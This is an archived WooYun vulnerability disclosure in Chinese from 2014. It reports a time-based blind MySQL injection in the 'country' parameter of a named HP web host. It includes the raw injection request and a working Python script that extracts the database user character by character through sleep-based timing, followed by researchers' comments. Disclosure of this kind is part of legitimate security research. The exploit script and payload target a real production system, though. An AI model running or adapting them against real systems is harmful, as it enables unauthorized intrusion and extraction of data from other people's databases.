惠普又一站点MySQL注射(附验证脚本)

编号88431
Urlhttp://www.wooyun.org/bug.php?action=view&id=88431
漏洞状态未联系到厂商或者厂商积极忽略
漏洞标题惠普又一站点MySQL注射(附验证脚本)
漏洞类型SQL注射漏洞
厂商惠普
白帽子lijiejie
提交日期2014-12-24 14:01:00
公开日期2015-02-07 14:02:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank8
厂商评级
厂商评rank0
漏洞简介
惠普又一站点MySQL注射(附验证脚本)
漏洞细节

注入点:

GET /hub.php?country=aaa&language=US HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: https://h41183.www4.hp.com
Cookie: PHPSESSID=jqkhjokslqfg8d4j4j0kdc8r7i1o90eh
Host: h41183.www4.hp.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


参数country可注入。MySQL time blind.

POC

猜解user(),得到:

[email protected]


hp.com_3.png


验证python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(1,20):
for payload in payloads:
try:
conn = httplib.HTTPSConnection('h41183.www4.hp.com', timeout=10)
rand_num = str(random.random())
s = "123'XOR(if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(5),0))OR'bbb" % (i, ord(payload) )
conn.request(method='GET',
url='/hub.php?country=' + urllib.quote(s),
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user
break
print '\n[Done]MySQL user is', user

修复方案

过滤

状态信息 2014-12-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-07: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复(not set)
回应信息未能联系到厂商或者厂商积极拒绝
Showing 1-6 of 6 items.
评论内容评论人点赞数评论时间

@猪猪侠 真的假的,受宠若惊

wefgod02014-12-30 17:35:00

@wefgod 我也关注你了啊

猪猪侠02014-12-27 15:29:00

都开始HP了。我靠猪猪侠都关注你了!

wefgod02014-12-26 10:46:00

@lijiejie 我关注你的微博了,注入牛,加个QQ呗。

猪猪侠02014-12-24 15:03:00

@猪猪侠 上次见到猪猪侠的风采,大侠果然威武! :)

lijiejie02014-12-24 14:54:00

注入小王子,三连发

猪猪侠02014-12-24 14:15:00